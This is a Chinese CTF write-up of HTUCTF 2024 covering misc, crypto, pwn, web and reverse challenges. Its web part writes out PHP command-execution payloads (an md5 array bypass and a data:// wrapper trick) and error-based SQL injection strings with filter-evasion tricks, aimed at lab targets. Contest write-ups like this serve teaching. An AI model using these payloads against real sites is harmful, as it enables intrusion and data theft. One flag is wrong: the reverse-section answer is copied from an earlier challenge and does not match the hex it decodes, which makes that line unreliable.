题目附件评论区

一、Misc

1、你好

下载附件得到一张图片

在这里插入图片描述

010分析,发现末尾藏有东西,使用kali进行分离。

在这里插入图片描述

分离命令;

foremost -i 你好.png

安装foremost教程:https://blog.csdn.net/qq_30445397/article/details/105787417

在这里插入图片描述

打开发现需要密码,根据做题经验图片在kali一般不显示多半是宽高有问题。

在这里插入图片描述

修改完成,发现密码。

在这里插入图片描述

在这里插入图片描述

打开zip即可。

在这里插入图片描述

HTUCTF{you_can_encrypt_anything_in_anywhere}

2、彩蛋

在比赛平台找flag

在这里插入图片描述

发现关键两串八进制,直接解码即可。

转码在线网站:https://www.toolhelper.cn/EncodeDecode/EncodeDecode

在这里插入图片描述

下半段,这个网站转下半段有点问题,为了节省时间,我丢给了GPT

在这里插入图片描述

拼接即可

HTUCTF{welc0me_2_HTU_and_have_fun}

3、初中数学(计算机版)

下载得到flag.txt文件,打开发现是匹配正确flag,这里给了md5值那就好一些,我们直接网上百度个脚本修复即可。

在这里插入图片描述

附上脚本;

import hashlib  
import itertools  
  
# 初始化变量  
dirty_flag = "HTUCTF{372?7539-0217-1?ef-a234-f8?9d27fc?22}"  
target_md5 = "b9636e79bccbe1cbcdb2f9a7f698742d"  
chars_to_try = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'  # 假设弄脏的数字是十六进制数字  
  
# 找到所有 '?' 的位置  
positions = [pos for pos, char in enumerate(dirty_flag) if char == '?']  
  
# 生成所有可能的替换组合  
for combination in itertools.product(chars_to_try, repeat=len(positions)):  
    # 替换所有 '?' 为当前组合中的字符  
    attempt = list(dirty_flag)  
    for pos, char in zip(positions, combination):  
        attempt[pos] = char  
    attempt_str = ''.join(attempt)  
  
    # 计算尝试的字符串的 MD5 哈希值  
    attempt_md5 = hashlib.md5(attempt_str.encode('utf-8')).hexdigest()  
  
    # 检查哈希值是否匹配  
    if attempt_md5 == target_md5:  
        print(f"Found the clean flag: {attempt_str}")  
        break  
else:  
    print("No matching flag found.")

运行即可。

HTUCTF{37277539-0217-11ef-a234-f889d27fcc22}

4、a1eiqinuo

下载得到一张图片,使用010分析。

在这里插入图片描述

末尾发现一串base64,解码得到提示。

在这里插入图片描述

在这里插入图片描述

steghide隐写这是密码,再使用foremost分离一下图片,发现有一张图片但是需要密码。

在这里插入图片描述

没有线索,使用Advanced爆破一下试试看(纯数字1-6都可尝试)。

在这里插入图片描述

得到zip密码,开赛日期。

20240424

打开还是一张图片,根据前面的steghide,尝试密码解密。

在这里插入图片描述

分离出一张图片,这个文字是原神游戏里面的,网上查找字符对应表一一对应即可(不止一种字符)。

steghide extract -sf 123.jpg -p htuCTF

在这里插入图片描述

htuCTF{yuanshenqidong}

5、music

下载附件得到一个MP3后缀结尾文件,使用Audacity分析。

在这里插入图片描述

没有得到什么有用的信息,常见的音频MP3格式还有一个mp3stego,但是需要密码,那我们使用010分析。

在这里插入图片描述

发现里面有提示,猜测密码为111,注意:使用时MP3文件必须和mp3stego在同一目录下。

Decode.exe -p 111 -x muscic.mp3

在这里插入图片描述

flag{valorant_is_a_good_game}

6、机位查询

下载附件得到三张图片,在根据提示明显是一题社工题那就找呗。

首先第一张图片龙门石窟,但是出题人说思路都不对,需要的是拍摄图片人所站的地方位置名称

直接查找龙门石窟最佳拍照位置即可,全名——礼佛观景台;

在这里插入图片描述

然后第二张是站在泰山的一个地方所拍摄,根据查找百度发现是——十八盘

在这里插入图片描述

最后第三张图片,根据图中一个特别建筑可知是河南玉米楼附近,但是找半天没找着,那没办法了,只能py了一下朋友,朋友说图中是烟草大厦;

在这里插入图片描述

htu{LFGJT_SBP_YCDS}

7、baseHome-misc签到

hint:base家族的加密你知道几个?

下载得到txt,里面是base64编码,找个在线的解即可;

在这里插入图片描述

根据hint全部大写,不用说base32秒了;

在这里插入图片描述

HTUCTF{base64_and_base32_is_very_happy}

8、简单流量分析

下载得到一个流量包,使用Wireshark分析即可;

先查看协议分级;

在这里插入图片描述

那就过滤一下tcp,追踪http发现有张png图片导出分析试试看;

在这里插入图片描述

导出得到这么一张图片,如果你深入分析它,你会发现,毛也没有;

在这里插入图片描述

这里我们,直接全部导出http懒得翻流量包了,直接按文件大小排序即可;

在这里插入图片描述

这么大,指定有点问题,直接使用010打开分析(别问为什么不用记事本,记事本给给我卡死了),在里面查找了一番,发现里面有张GIF图,分离开来看看;
在这里插入图片描述

果然发现了关键,不过要转换,找一个在线逐帧分离GIF图片;

在这里插入图片描述

在这里插入图片描述

网站:https://uutool.cn/gif2img/

flag{S022y4orr5&#125

在这里插入图片描述

在这里插入图片描述

flag{S022y4orr5}

9、echo

下载附件,得到一个后缀MID结尾的音频文件,根据hint我们找一个能分析mid后缀文件的网站;

在这里插入图片描述

网址:https://ampedstudio.com/zh-cn/%E5%9C%A8%E7%BA%BF-midi-%E7%BC%96%E8%BE%91%E5%99%A8/

导入echo.mid文件再次发现hint,这边只有高音与低音,在这里你可能想不明白是什么,因为这题考的有一些脑洞,高1低0即可;

在这里插入图片描述

整理得到二进制,解码即可;

在这里插入图片描述

在这里插入图片描述

htuctf{gum1_1s_6o4!}

这题属于脑洞题了,还是misc题刷少了,一开始就卡在mid文件看见了hint但是不知道怎么编译,在此感觉《Kicky_Mu》,一个很厉害的全栈师傅,这是她的博客吗,大家也关注一下
https://www.cnblogs.com/mumuhhh

二、Crypto

1、密码_签到

下载附件,可知是一个凯撒加密,找一个在线网站加密即可;

在这里插入图片描述

已知flag格式F对应H,偏移2位;

在这里插入图片描述

HTUCTF{WELCOME_TO_2024_HTUCTF!!!}

2、guoql的大冒险

下载附件打开,两个txt,一个是未知编码,另外一个是hint;

在这里插入图片描述

在这里插入图片描述

分析关键,可知栅栏密码,以及兔子编码;

找一个在线栅栏解码:栅栏加密/解密 - Bugku CTF

在这里插入图片描述

根据hint可知# Rabbit解码,key:guoql

在这里插入图片描述

HTUCTF{gu0ql_l0ve_big_big_rabbit!!}

三、Pwn

1、ez_nc_签到

基础题,打开靶机,使用kali里nc链接靶机即可;

在这里插入图片描述

HTUCTF{db419ab1-8aa5-40dc-97d5-4da9a32a524f}

2、环境?环境!

打开靶机,根据提示,配置吼pwn环境,在运行exp.py文件即可;

在这里插入图片描述

kali配置pwn环境链接:kali2021.4a搭建pwn环境

在这里插入图片描述

配置好exp,使用python运行即可;

python exp.py

在这里插入图片描述

HTUCTF{46c0c648-962a-4158-b663-14af105d884b}

3、完形填空

打开靶机,下载附件,得到一个zip,还是跟上一题一样的操作,只不过这题需要我们自己算栈溢出;

在这里插入图片描述

hint;

在这里插入图片描述

算出0x28,那就补充完整;

在这里插入图片描述

运行即可;

在这里插入图片描述

cat /flag

在这里插入图片描述

HTUCTF{a53e15c0-e9f6-4f17-9852-57246603b1b6}

四、Web

1、easy_rce

打开靶机,简单分析一下;

在这里插入图片描述

if($_GET[‘from’]==“HTUCTF”)——这行代码检查 URL 的 from GET参数是否等于 “HTUCTF”。如果不是,将执行 else 代码块。

if((md5( G E T [ ′ m 1 ′ ] ) = = m d 5 ( _GET['m1']) == md5( GET[m1])==md5(_GET[‘m2’])) && ($_GET[‘m1’] !== $_GET[‘m2’])){

这是一个弱比较( a ! = a!= a!=b)&&(md5( a ) = = m d 5 ( a)==md5( a)==md5(b));我们可以使用数组绕过即可;

知识点:数组绕过
a[]=1
a[]=2

最后在传一个POST即可;
那我们现在来构造payload;

URL+?from=HTUCTF&m1[]=999&m2[]=000

POST传参直接查看flag即可,因为这里没有任何过滤;

cmd=system('cat flag');

在这里插入图片描述

HTUCTF{193a5754-a8fb-41e1-b904-fc00b9e7f2cd}

2、debugme_签到

打开靶机,Ctrl+u查看源码没什么好说的;

在这里插入图片描述

在这里插入图片描述

HTUCTF{d28021f7-2290-4074-9adc-016b2c763dea}

3、evalPHP

打开靶机,文件包含;

在这里插入图片描述

简单分析一下

d a t a = f i l e g e t c o n t e n t s ( data = file_get_contents( data=filegetcontents(_GET[‘file’]);`传一个文件file;

if($data === "HTUCTF"){文件必须包含HUTCTF,但是这里过滤掉了,待会我们换别的办法,这里还让我们使用data协议来传;

$cmd = $_POST['cmd'];POST就简单了,cmd嘛执行命令

那开始构造payload;

URL+?file=data://text/plan,base64,SFRVQ1RG

简单分析一下这里的base64,因为正常的HTU不是被过滤掉了嘛,那就换一个方法来识别即可;

至于data的使用,可以看一下这张结构图;

在这里插入图片描述

POST传参;

cmd=system('tac fla*');?>

在这里插入图片描述

flag{d49b61a1-4ae1-423f-af67-77735f82923b}

4、easy_SQL

打开靶机,发现是SQL注入,尝试爆破一下;

在这里插入图片描述

爆破得到账号密码admin/admin;

在这里插入图片描述

登录成功之后你就会发现,毛也没有,这题不是这样做的,这里我选择抓包会好一些,

这里过滤了很多东西,但是可以双写绕过;

过滤字符串代替字符串
空格/**/
andaandnd
selectseselectlect
oroorr

知道被过滤字符,那我们开始构造payload吧。这里我使用的是报错注入,爆破库名;

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(database()),0x7e),1);#&password=admin

在这里插入图片描述

得到库名——users,那我们接着爆表名;

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),3);#&password=123456

在这里插入图片描述

哎,发现表名跟库名一样,那我们接着爆字段;

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/aandnd/**/table_name='users'),0x7e),3);#&password=123456

在这里插入图片描述

得到两个字段——user,password;
那我们接着看看user里面的数据;

1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(user)/**/from/**/users),1,31),0x7e),1);#&password=123456

在这里插入图片描述

发现了flag,那我们查看password的数据;

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,96),0x7e),1);#&password=123456

在这里插入图片描述

发现了半边flag,HTUCTF{6cb9f0de-bed4-4cd4-aa,继续查下半边;

第一个语句从第 90 个字符开始提取 6 个字符,而第二个语句从第 67 个字符开始提取 29 个字符,所以;

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),90,96),0x7e),1);#&password=123456

在这里插入图片描述

成功得到后半段,d4-aaf7-b372482ee8d8},注意拼接去除多余部分;

HTUCTF{6cb9f0de-bed4-4cd4-aaf7-b372482ee8d8}

五、Reverse

1、ez_xor

下载附件使用ida打开分析,无壳64位;

在这里插入图片描述

定位一下main主函数F5查看伪C即可;

在这里插入图片描述

从for不难看出这里被进行了字符异或运算;

脚本;

s = "tryw1th"  
v11 = "s1mplex0r"  
  
v8 = [28, 6, 12, 20, 69, 18, 19]  
v9 = [11, 1, 31, 47, 9, 81, 11, 73, 15]  
  
# 为字符串 s 生成期望的输入  
expected_input1 = ''.join(chr(ord(s[i]) ^ v8[i]) for i in range(len(s)))  
  
# 为字符串 v11 生成期望的输入  
expected_input2 = ''.join(chr(ord(v11[i]) ^ v9[i]) for i in range(len(v11)))  
  
# 打印期望的输入,这就是使程序输出 "correct" 的输入  
print(f"Expected input for 's': {expected_input1}")  
print(f"Expected input for 'v11': {expected_input2}")

输出;

在这里插入图片描述

htuctf{x0r_e4sy}

2、倒车工程

下载附件是一个python倒车脚本,简单分析一下;

在这里插入图片描述

其实也就一个关键点,这是一串十六进制,逆向逆向,那反过来转成ASCLL即可;

numbers = [0x48,0x54,0x55,0x43,0x54,0x46,0x7b,0x57,0x65,0x31,0x63,0x30,0x6d,0x65,0x5f,0x74,0x30,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x31,0x6e,0x65,0x65,0x72,0x31,0x6e,0x67,0x7d]

Python脚本梭哈;

	存储的密码,以十六进制表示  
	numbers = [0x48, 0x54, 0x55, 0x43, 0x54, 0x46, 0x7b, 0x57, 0x65, 0x31, 0x63, 0x30, 0x6d, 0x65, 0x5f, 0x74, 0x30, 0x5f, 0x72, 0x33, 0x76, 0x65, 0x72, 0x73, 0x65, 0x5f, 0x65, 0x6e, 0x67, 0x31, 0x6e, 0x65, 0x65, 0x72, 0x31, 0x6e, 0x67, 0x7d]  
	  
	 将十六进制数转换为它们对应的 ASCII 字符  
	password = ''.join(chr(number) for number in numbers)  
	  
	打印密码  
	print(f"The password is: {password}")

HTUCTF{37277539-0217-11ef-a234-f889d27fcc22}

3、猜数字_签到

下载附件,根据提示可以使用二分法猜flag;

这里我们使用二分法慢慢猜;

在这里插入图片描述

HTUCTF{D0_u_like_my_guessing_number_game?}

河南师范大学的CTF赛就到此为止了,在这一周里学到了很多,题目也大兜很友好,感谢师傅的出题,让我从中学到了很多,希望后面的举办会越来越好!!!

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐